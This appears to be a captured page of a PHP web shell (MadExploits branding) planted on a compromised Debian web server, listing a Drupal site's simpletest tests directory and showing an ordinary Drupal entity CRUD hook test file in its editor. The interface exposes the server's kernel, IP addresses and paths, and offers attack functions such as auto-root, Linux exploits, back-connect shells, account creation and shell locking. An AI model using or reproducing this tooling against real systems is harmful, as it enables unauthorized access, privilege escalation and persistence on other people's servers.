Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.139.70.69
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
baltic /
web /
modules /
simpletest /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
drupal_autoload_test
[ DIR ]
drwxr-xr-x
drupal_system_listing_compatib...
[ DIR ]
drwxr-xr-x
drupal_system_listing_incompat...
[ DIR ]
drwxr-xr-x
psr_0_test
[ DIR ]
drwxr-xr-x
psr_4_test
[ DIR ]
drwxr-xr-x
themes
[ DIR ]
drwxr-xr-x
upgrade
[ DIR ]
drwxr-xr-x
actions.test
5.7
KB
-rw-r--r--
actions_loop_test.info
268
B
-rw-r--r--
actions_loop_test.install
206
B
-rw-r--r--
actions_loop_test.module
2.54
KB
-rw-r--r--
ajax.test
26.15
KB
-rw-r--r--
ajax_forms_test.info
267
B
-rw-r--r--
ajax_forms_test.module
16.56
KB
-rw-r--r--
ajax_test.info
261
B
-rw-r--r--
ajax_test.module
1.84
KB
-rw-r--r--
batch.test
16.49
KB
-rw-r--r--
batch_test.callbacks.inc
3.92
KB
-rw-r--r--
batch_test.info
265
B
-rw-r--r--
batch_test.module
13.32
KB
-rw-r--r--
bootstrap.test
28.68
KB
-rw-r--r--
cache.test
15.38
KB
-rw-r--r--
common.test
130.72
KB
-rw-r--r--
common_test.css
79
B
-rw-r--r--
common_test.info
341
B
-rw-r--r--
common_test.module
7.25
KB
-rw-r--r--
common_test.print.css
79
B
-rw-r--r--
common_test_cron_helper.info
295
B
-rw-r--r--
common_test_cron_helper.module
362
B
-rw-r--r--
common_test_info.txt
334
B
-rw-r--r--
database_test.info
269
B
-rw-r--r--
database_test.install
5.72
KB
-rw-r--r--
database_test.module
6.51
KB
-rw-r--r--
database_test.test
144.13
KB
-rw-r--r--
entity_cache_test.info
319
B
-rw-r--r--
entity_cache_test.module
873
B
-rw-r--r--
entity_cache_test_dependency.i...
295
B
-rw-r--r--
entity_cache_test_dependency.m...
305
B
-rw-r--r--
entity_crud.test
1.86
KB
-rw-r--r--
entity_crud_hook_test.info
273
B
-rw-r--r--
entity_crud_hook_test.module
6
KB
-rw-r--r--
entity_crud_hook_test.test
12.47
KB
-rw-r--r--
entity_query.test
65.62
KB
-rw-r--r--
entity_query_access_test.info
289
B
-rw-r--r--
entity_query_access_test.modul...
1.5
KB
-rw-r--r--
error.test
4.58
KB
-rw-r--r--
error_test.info
273
B
-rw-r--r--
error_test.module
1.89
KB
-rw-r--r--
file.test
109.29
KB
-rw-r--r--
file_test.info
291
B
-rw-r--r--
file_test.module
12.23
KB
-rw-r--r--
filetransfer.test
4.44
KB
-rw-r--r--
filter_test.info
263
B
-rw-r--r--
filter_test.module
1.68
KB
-rw-r--r--
form.test
89.19
KB
-rw-r--r--
form_test.file.inc
1.4
KB
-rw-r--r--
form_test.info
262
B
-rw-r--r--
form_test.module
57.65
KB
-rw-r--r--
graph.test
6.23
KB
-rw-r--r--
http.php
897
B
-rw-r--r--
https.php
860
B
-rw-r--r--
image.test
18.89
KB
-rw-r--r--
image_test.info
265
B
-rw-r--r--
image_test.module
3.17
KB
-rw-r--r--
lock.test
2.56
KB
-rw-r--r--
mail.test
18.8
KB
-rw-r--r--
menu.test
71.63
KB
-rw-r--r--
menu_test.info
268
B
-rw-r--r--
menu_test.module
17.93
KB
-rw-r--r--
module.test
14.59
KB
-rw-r--r--
module_test.file.inc
203
B
-rw-r--r--
module_test.info
268
B
-rw-r--r--
module_test.install
930
B
-rw-r--r--
module_test.module
3.76
KB
-rw-r--r--
pager.test
5.36
KB
-rw-r--r--
password.test
3.44
KB
-rw-r--r--
path.test
13.27
KB
-rw-r--r--
path_test.info
268
B
-rw-r--r--
path_test.module
410
B
-rw-r--r--
registry.test
4.66
KB
-rw-r--r--
requirements1_test.info
313
B
-rw-r--r--
requirements1_test.install
505
B
-rw-r--r--
requirements1_test.module
111
B
-rw-r--r--
requirements2_test.info
392
B
-rw-r--r--
requirements2_test.module
130
B
-rw-r--r--
schema.test
13.45
KB
-rw-r--r--
session.test
22.8
KB
-rw-r--r--
session_test.info
268
B
-rw-r--r--
session_test.module
5.45
KB
-rw-r--r--
system.base.css
143
B
-rw-r--r--
system_dependencies_test.info
322
B
-rw-r--r--
system_dependencies_test.modul...
6
B
-rw-r--r--
system_incompatible_core_versi...
368
B
-rw-r--r--
system_incompatible_core_versi...
6
B
-rw-r--r--
system_incompatible_core_versi...
300
B
-rw-r--r--
system_incompatible_core_versi...
6
B
-rw-r--r--
system_incompatible_module_ver...
442
B
-rw-r--r--
system_incompatible_module_ver...
6
B
-rw-r--r--
system_incompatible_module_ver...
298
B
-rw-r--r--
system_incompatible_module_ver...
6
B
-rw-r--r--
system_test.info
286
B
-rw-r--r--
system_test.module
14.43
KB
-rw-r--r--
tablesort.test
4.67
KB
-rw-r--r--
taxonomy_test.info
305
B
-rw-r--r--
taxonomy_test.install
747
B
-rw-r--r--
taxonomy_test.module
2.65
KB
-rw-r--r--
theme.test
25.37
KB
-rw-r--r--
theme_test.inc
372
B
-rw-r--r--
theme_test.info
266
B
-rw-r--r--
theme_test.module
4.17
KB
-rw-r--r--
theme_test.template_test.tpl.p...
66
B
-rw-r--r--
unicode.test
10.89
KB
-rw-r--r--
update.test
4.69
KB
-rw-r--r--
update_script_test.info
275
B
-rw-r--r--
update_script_test.install
1.29
KB
-rw-r--r--
update_script_test.module
419
B
-rw-r--r--
update_test_1.info
261
B
-rw-r--r--
update_test_1.install
1.59
KB
-rw-r--r--
update_test_1.module
6
B
-rw-r--r--
update_test_2.info
261
B
-rw-r--r--
update_test_2.install
1.18
KB
-rw-r--r--
update_test_2.module
6
B
-rw-r--r--
update_test_3.info
261
B
-rw-r--r--
update_test_3.install
436
B
-rw-r--r--
update_test_3.module
6
B
-rw-r--r--
url_alter_test.info
272
B
-rw-r--r--
url_alter_test.install
267
B
-rw-r--r--
url_alter_test.module
1.75
KB
-rw-r--r--
xmlrpc.test
9.61
KB
-rw-r--r--
xmlrpc_test.info
303
B
-rw-r--r--
xmlrpc_test.module
3.1
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : entity_crud_hook_test.test
<?php /** * @file * CRUD hook tests for the Entity CRUD API. */ /** * Tests invocation of hooks when performing an action. * * Tested hooks are: * - hook_entity_insert() * - hook_entity_load() * - hook_entity_update() * - hook_entity_delete() * As well as all type-specific hooks, like hook_node_insert(), * hook_comment_update(), etc. */ class EntityCrudHookTestCase extends DrupalWebTestCase { protected $ids = array(); public static function getInfo() { return array( 'name' => 'Entity CRUD hooks', 'description' => 'Tests the invocation of hooks when inserting, loading, updating or deleting an entity.', 'group' => 'Entity API', ); } public function setUp() { parent::setUp('entity_crud_hook_test', 'taxonomy', 'comment'); } /** * Pass if the message $text was set by one of the CRUD hooks in * entity_crud_hook_test.module, i.e., if the $text is an element of * $_SESSION['entity_crud_hook_test']. * * @param $text * Plain text to look for. * @param $message * Message to display. * @param $group * The group this message belongs to, defaults to 'Other'. * @return * TRUE on pass, FALSE on fail. */ protected function assertHookMessage($text, $message = NULL, $group = 'Other') { if (!isset($message)) { $message = $text; } return $this->assertTrue(array_search($text, $_SESSION['entity_crud_hook_test']) !== FALSE, $message, $group); } /** * Tests hook invocations for CRUD operations on comments. */ public function testCommentHooks() { $node = (object) array( 'uid' => 1, 'type' => 'article', 'title' => 'Test node', 'status' => 1, 'comment' => 2, 'promote' => 0, 'sticky' => 0, 'language' => LANGUAGE_NONE, 'created' => REQUEST_TIME, 'changed' => REQUEST_TIME, ); node_save($node); $nid = $node->nid; $comment = (object) array( 'cid' => NULL, 'pid' => 0, 'nid' => $nid, 'uid' => 1, 'subject' => 'Test comment', 'created' => REQUEST_TIME, 'changed' => REQUEST_TIME, 'status' => 1, 'language' => LANGUAGE_NONE, ); $_SESSION['entity_crud_hook_test'] = array(); comment_save($comment); $this->assertHookMessage('entity_crud_hook_test_entity_presave called for type comment'); $this->assertHookMessage('entity_crud_hook_test_comment_presave called'); $this->assertHookMessage('entity_crud_hook_test_entity_insert called for type comment'); $this->assertHookMessage('entity_crud_hook_test_comment_insert called'); $_SESSION['entity_crud_hook_test'] = array(); $comment = comment_load($comment->cid); $this->assertHookMessage('entity_crud_hook_test_entity_load called for type comment'); $this->assertHookMessage('entity_crud_hook_test_comment_load called'); $_SESSION['entity_crud_hook_test'] = array(); $comment->subject = 'New subject'; comment_save($comment); $this->assertHookMessage('entity_crud_hook_test_entity_presave called for type comment'); $this->assertHookMessage('entity_crud_hook_test_comment_presave called'); $this->assertHookMessage('entity_crud_hook_test_entity_update called for type comment'); $this->assertHookMessage('entity_crud_hook_test_comment_update called'); $_SESSION['entity_crud_hook_test'] = array(); comment_delete($comment->cid); $this->assertHookMessage('entity_crud_hook_test_entity_delete called for type comment'); $this->assertHookMessage('entity_crud_hook_test_comment_delete called'); } /** * Tests hook invocations for CRUD operations on files. */ public function testFileHooks() { $url = 'public://entity_crud_hook_test.file'; file_put_contents($url, 'Test test test'); $file = (object) array( 'fid' => NULL, 'uid' => 1, 'filename' => 'entity_crud_hook_test.file', 'uri' => $url, 'filemime' => 'text/plain', 'filesize' => filesize($url), 'status' => 1, 'timestamp' => REQUEST_TIME, ); $_SESSION['entity_crud_hook_test'] = array(); file_save($file); $this->assertHookMessage('entity_crud_hook_test_entity_presave called for type file'); $this->assertHookMessage('entity_crud_hook_test_file_presave called'); $this->assertHookMessage('entity_crud_hook_test_entity_insert called for type file'); $this->assertHookMessage('entity_crud_hook_test_file_insert called'); $_SESSION['entity_crud_hook_test'] = array(); $file = file_load($file->fid); $this->assertHookMessage('entity_crud_hook_test_entity_load called for type file'); $this->assertHookMessage('entity_crud_hook_test_file_load called'); $_SESSION['entity_crud_hook_test'] = array(); $file->filename = 'new.entity_crud_hook_test.file'; file_save($file); $this->assertHookMessage('entity_crud_hook_test_entity_presave called for type file'); $this->assertHookMessage('entity_crud_hook_test_file_presave called'); $this->assertHookMessage('entity_crud_hook_test_entity_update called for type file'); $this->assertHookMessage('entity_crud_hook_test_file_update called'); $_SESSION['entity_crud_hook_test'] = array(); file_delete($file); $this->assertHookMessage('entity_crud_hook_test_entity_delete called for type file'); $this->assertHookMessage('entity_crud_hook_test_file_delete called'); } /** * Tests hook invocations for CRUD operations on nodes. */ public function testNodeHooks() { $node = (object) array( 'uid' => 1, 'type' => 'article', 'title' => 'Test node', 'status' => 1, 'comment' => 2, 'promote' => 0, 'sticky' => 0, 'language' => LANGUAGE_NONE, 'created' => REQUEST_TIME, 'changed' => REQUEST_TIME, ); $_SESSION['entity_crud_hook_test'] = array(); node_save($node); $this->assertHookMessage('entity_crud_hook_test_entity_presave called for type node'); $this->assertHookMessage('entity_crud_hook_test_node_presave called'); $this->assertHookMessage('entity_crud_hook_test_entity_insert called for type node'); $this->assertHookMessage('entity_crud_hook_test_node_insert called'); $_SESSION['entity_crud_hook_test'] = array(); $node = node_load($node->nid); $this->assertHookMessage('entity_crud_hook_test_entity_load called for type node'); $this->assertHookMessage('entity_crud_hook_test_node_load called'); $_SESSION['entity_crud_hook_test'] = array(); $node->title = 'New title'; node_save($node); $this->assertHookMessage('entity_crud_hook_test_entity_presave called for type node'); $this->assertHookMessage('entity_crud_hook_test_node_presave called'); $this->assertHookMessage('entity_crud_hook_test_entity_update called for type node'); $this->assertHookMessage('entity_crud_hook_test_node_update called'); $_SESSION['entity_crud_hook_test'] = array(); node_delete($node->nid); $this->assertHookMessage('entity_crud_hook_test_entity_delete called for type node'); $this->assertHookMessage('entity_crud_hook_test_node_delete called'); } /** * Tests hook invocations for CRUD operations on taxonomy terms. */ public function testTaxonomyTermHooks() { $vocabulary = (object) array( 'name' => 'Test vocabulary', 'machine_name' => 'test', 'description' => NULL, 'module' => 'entity_crud_hook_test', ); taxonomy_vocabulary_save($vocabulary); $term = (object) array( 'vid' => $vocabulary->vid, 'name' => 'Test term', 'description' => NULL, 'format' => 1, ); $_SESSION['entity_crud_hook_test'] = array(); taxonomy_term_save($term); $this->assertHookMessage('entity_crud_hook_test_entity_presave called for type taxonomy_term'); $this->assertHookMessage('entity_crud_hook_test_taxonomy_term_presave called'); $this->assertHookMessage('entity_crud_hook_test_entity_insert called for type taxonomy_term'); $this->assertHookMessage('entity_crud_hook_test_taxonomy_term_insert called'); $_SESSION['entity_crud_hook_test'] = array(); $term = taxonomy_term_load($term->tid); $this->assertHookMessage('entity_crud_hook_test_entity_load called for type taxonomy_term'); $this->assertHookMessage('entity_crud_hook_test_taxonomy_term_load called'); $_SESSION['entity_crud_hook_test'] = array(); $term->name = 'New name'; taxonomy_term_save($term); $this->assertHookMessage('entity_crud_hook_test_entity_presave called for type taxonomy_term'); $this->assertHookMessage('entity_crud_hook_test_taxonomy_term_presave called'); $this->assertHookMessage('entity_crud_hook_test_entity_update called for type taxonomy_term'); $this->assertHookMessage('entity_crud_hook_test_taxonomy_term_update called'); $_SESSION['entity_crud_hook_test'] = array(); taxonomy_term_delete($term->tid); $this->assertHookMessage('entity_crud_hook_test_entity_delete called for type taxonomy_term'); $this->assertHookMessage('entity_crud_hook_test_taxonomy_term_delete called'); } /** * Tests hook invocations for CRUD operations on taxonomy vocabularies. */ public function testTaxonomyVocabularyHooks() { $vocabulary = (object) array( 'name' => 'Test vocabulary', 'machine_name' => 'test', 'description' => NULL, 'module' => 'entity_crud_hook_test', ); $_SESSION['entity_crud_hook_test'] = array(); taxonomy_vocabulary_save($vocabulary); $this->assertHookMessage('entity_crud_hook_test_entity_presave called for type taxonomy_vocabulary'); $this->assertHookMessage('entity_crud_hook_test_taxonomy_vocabulary_presave called'); $this->assertHookMessage('entity_crud_hook_test_entity_insert called for type taxonomy_vocabulary'); $this->assertHookMessage('entity_crud_hook_test_taxonomy_vocabulary_insert called'); $_SESSION['entity_crud_hook_test'] = array(); $vocabulary = taxonomy_vocabulary_load($vocabulary->vid); $this->assertHookMessage('entity_crud_hook_test_entity_load called for type taxonomy_vocabulary'); $this->assertHookMessage('entity_crud_hook_test_taxonomy_vocabulary_load called'); $_SESSION['entity_crud_hook_test'] = array(); $vocabulary->name = 'New name'; taxonomy_vocabulary_save($vocabulary); $this->assertHookMessage('entity_crud_hook_test_entity_presave called for type taxonomy_vocabulary'); $this->assertHookMessage('entity_crud_hook_test_taxonomy_vocabulary_presave called'); $this->assertHookMessage('entity_crud_hook_test_entity_update called for type taxonomy_vocabulary'); $this->assertHookMessage('entity_crud_hook_test_taxonomy_vocabulary_update called'); $_SESSION['entity_crud_hook_test'] = array(); taxonomy_vocabulary_delete($vocabulary->vid); $this->assertHookMessage('entity_crud_hook_test_entity_delete called for type taxonomy_vocabulary'); $this->assertHookMessage('entity_crud_hook_test_taxonomy_vocabulary_delete called'); } /** * Tests hook invocations for CRUD operations on users. */ public function testUserHooks() { $edit = array( 'name' => 'Test user', 'mail' => 'test@example.com', 'created' => REQUEST_TIME, 'status' => 1, 'language' => 'en', ); $account = (object) $edit; $_SESSION['entity_crud_hook_test'] = array(); $account = user_save($account, $edit); $this->assertHookMessage('entity_crud_hook_test_entity_presave called for type user'); $this->assertHookMessage('entity_crud_hook_test_user_presave called'); $this->assertHookMessage('entity_crud_hook_test_entity_insert called for type user'); $this->assertHookMessage('entity_crud_hook_test_user_insert called'); $_SESSION['entity_crud_hook_test'] = array(); $account = user_load($account->uid); $this->assertHookMessage('entity_crud_hook_test_entity_load called for type user'); $this->assertHookMessage('entity_crud_hook_test_user_load called'); $_SESSION['entity_crud_hook_test'] = array(); $edit['name'] = 'New name'; $account = user_save($account, $edit); $this->assertHookMessage('entity_crud_hook_test_entity_presave called for type user'); $this->assertHookMessage('entity_crud_hook_test_user_presave called'); $this->assertHookMessage('entity_crud_hook_test_entity_update called for type user'); $this->assertHookMessage('entity_crud_hook_test_user_update called'); $_SESSION['entity_crud_hook_test'] = array(); user_delete($account->uid); $this->assertHookMessage('entity_crud_hook_test_entity_delete called for type user'); $this->assertHookMessage('entity_crud_hook_test_user_delete called'); } }
Close